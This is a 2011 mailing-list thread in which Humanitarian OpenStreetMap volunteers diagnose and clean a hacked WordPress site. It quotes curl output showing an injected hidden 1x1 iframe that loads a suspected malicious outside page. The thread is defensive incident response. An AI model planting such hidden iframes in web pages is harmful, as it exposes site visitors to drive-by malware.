<html><body><div style="color:#000; background-color:#fff; font-family:arial, helvetica, sans-serif;font-size:10pt"><div><span>FIXED!</span></div><div><br><span></span></div><div><span>...or at least I have been able to remove the iframe from the index file which Rudolph identified earlier (thanks for that </span><span>Rudolph</span><span>). I also removed the google analytics bit from there. Wasn't sure if that was part of the attack or not, but I'm sure we can live without it for the moment.</span> I haven't been able to take any other steps to check for malware or secure it better. If anyone can identify anything urgent I should be doing on there, let me know. I can run commands on there (via a php script as a wp plugin), ...however anything complicated is going to be a lot easier when Mikel is back with his ssh access <br></div><div><br></div><div>Harry Wood<br></div><div><span><br></span></div><div style="font-family: arial, helvetica, sans-serif;
font-size: 10pt;"><div style="font-family: times new roman, new york, times, serif; font-size: 12pt;"><font face="Arial" size="2"><hr size="1"><b><span style="font-weight:bold;">From:</span></b> Rodolphe Quiedeville <rodolphe@quiedeville.org><br><b><span style="font-weight: bold;">To:</span></b> Kate Chapman <kate@maploser.com><br><b><span style="font-weight: bold;">Cc:</span></b> hot@openstreetmap.org<br><b><span style="font-weight: bold;">Sent:</span></b> Monday, 24 October 2011, 7:36<br><b><span style="font-weight: bold;">Subject:</span></b> Re: [HOT] Malware on hot.openstreetmap.org<br></font><br>Le 24/10/2011 08:28, Kate Chapman a écrit :<br>> I switched the theme. I'm not seeing the iFrame anymore, but maybe I'm<br>> missing something.<br><br>The iframe is not on the /weblog/ pages you can see it when you call the<br>root url like this :<br><br><br>rodo@elz:~$ curl
hot.openstreetmap.org<br><html><br><head><br><META HTTP-EQUIV="refresh" content="0;URL=/weblog"><br></head><br><body><iframe<br>src="<a href="http://probable-waitress.mypicture.info/showthread.php?t=68791819" target="_blank">http://probable-waitress.mypicture.info/showthread.php?t=68791819</a>"<br>width="1" height="1"></iframe><br><script type="text/javascript"><br>var gaJsHost = (("https:" == document.location.protocol) ?<br>"<a href="https://ssl" target="_blank">https://ssl</a>." : "<a href="http://www" target="_blank">http://www</a>.");<br>document.write(unescape("%3Cscript src='" + gaJsHost +<br>"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));<br></script><br><script type="text/javascript"><br>var pageTracker = _gat._getTracker("UA-5963453-1");<br>pageTracker._trackPageview();<br></script><br></body><br></html><br><br>Have a look at the beginning of
body part<br><br>It's probably not in the theme part of Wordpress, but somewhere in the<br>config parts of the blog.<br><br>Regards<br><br><br><br>> <br>> -Kate<br>> <br>> On Sun, Oct 23, 2011 at 10:49 PM, Rodolphe Quiedeville<br>> <<a ymailto="mailto:rodolphe@quiedeville.org" href="mailto:rodolphe@quiedeville.org">rodolphe@quiedeville.org</a>> wrote:<br>>> Hi,<br>>><br>>> Someone cracked the Wordpress installed on hot.openstreetmap.org and add<br>>> an iframe to :<br>>><br>>> <a href="http://probable-waitress.mypicture.info/showthread.php?t=68791819" target="_blank">http://probable-waitress.mypicture.info/showthread.php?t=68791819</a><br>>><br>>> Edit the wordpresss template, remove this iframe and it could resolve<br>>> the problem. The security alert occurs on Firefox too.<br>>><br>>> Regards<br>>><br>>><br>>> Le 23/10/2011 23:33, Kate Chapman a
écrit :<br>>>> Hi Floris,<br>>>><br>>>> Yes, I know about the problem but haven't been able to fix it. I think<br>>>> logging into the server might be necessary, but I think only Mikel has<br>>>> access.<br>>>><br>>>> If anyone has other suggestions please help.<br>>>><br>>>> Kate<br>>>><br>>>> On Oct 23, 2011 7:54 AM, "Floris Looijesteijn" <<a ymailto="mailto:osm@floris.nu" href="mailto:osm@floris.nu">osm@floris.nu</a><br>>>> <mailto:<a ymailto="mailto:osm@floris.nu" href="mailto:osm@floris.nu">osm@floris.nu</a>>> wrote:<br>>>><br>>>> I'm getting warnings from Chrome at the moment that<br>>>> hot.openstreetmap.org <<a href="http://hot.openstreetmap.org" target="_blank">http://hot.openstreetmap.org</a>> is infected<br>>>> with
malware.<br>>>><br>>>> Anybody want to look into that?<br>>>><br>>>> Here's the google diagnose page for it:<br>>>><br>>>> <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Fhot.openstreetmap.org%2F&client=googlechrome&hl=en" target="_blank">http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Fhot.openstreetmap.org%2F&client=googlechrome&hl=en</a><br>>>> <<a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Fhot.openstreetmap.org%2F&client=googlechrome&hl=en" target="_blank">http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http%3A%2F%2Fhot.openstreetmap.org%2F&client=googlechrome&hl=en</a>><br>>>><br>>>> Greetings,<br>>>>
Floris Looijesteijn<br>>>><br>>>> (tracing Van, Turkey)<br>>>><br>>>> _______________________________________________<br>>>> HOT mailing list<br>>>> <a ymailto="mailto:HOT@openstreetmap.org" href="mailto:HOT@openstreetmap.org">HOT@openstreetmap.org</a> <mailto:<a ymailto="mailto:HOT@openstreetmap.org" href="mailto:HOT@openstreetmap.org">HOT@openstreetmap.org</a>><br>>>> <a href="http://lists.openstreetmap.org/listinfo/hot" target="_blank">http://lists.openstreetmap.org/listinfo/hot</a><br>>>><br>>>><br>>>><br>>>> _______________________________________________<br>>>> HOT mailing list<br>>>> <a ymailto="mailto:HOT@openstreetmap.org" href="mailto:HOT@openstreetmap.org">HOT@openstreetmap.org</a><br>>>> <a href="http://lists.openstreetmap.org/listinfo/hot"
target="_blank">http://lists.openstreetmap.org/listinfo/hot</a><br>>><br>>><br>>> --<br>>> Rodolphe Quiédeville<br>>> <a href="http://cartosm.eu" target="_blank">http://cartosm.eu</a> - Intégration de carte libre sur site web<br>>> Blog : <a href="http://blog.rodolphe.quiedeville.org/" target="_blank">http://blog.rodolphe.quiedeville.org/</a><br>>> SIP/XMPP : <a ymailto="mailto:rodolphe@quiedeville.org" href="mailto:rodolphe@quiedeville.org">rodolphe@quiedeville.org</a><br>>><br>>> _______________________________________________<br>>> HOT mailing list<br>>> <a ymailto="mailto:HOT@openstreetmap.org" href="mailto:HOT@openstreetmap.org">HOT@openstreetmap.org</a><br>>> <a href="http://lists.openstreetmap.org/listinfo/hot" target="_blank">http://lists.openstreetmap.org/listinfo/hot</a><br>>><br><br><br>-- <br>Rodolphe Quiédeville<br><a href="http://cartosm.eu"
target="_blank">http://cartosm.eu</a> - Intégration de carte libre sur site web<br>Blog : <a href="http://blog.rodolphe.quiedeville.org/" target="_blank">http://blog.rodolphe.quiedeville.org/</a><br>SIP/XMPP : <a ymailto="mailto:rodolphe@quiedeville.org" href="mailto:rodolphe@quiedeville.org">rodolphe@quiedeville.org</a><br><br>_______________________________________________<br>HOT mailing list<br><a ymailto="mailto:HOT@openstreetmap.org" href="mailto:HOT@openstreetmap.org">HOT@openstreetmap.org</a><br><a href="http://lists.openstreetmap.org/listinfo/hot" target="_blank">http://lists.openstreetmap.org/listinfo/hot</a><br><br><br></div></div></div></body></html>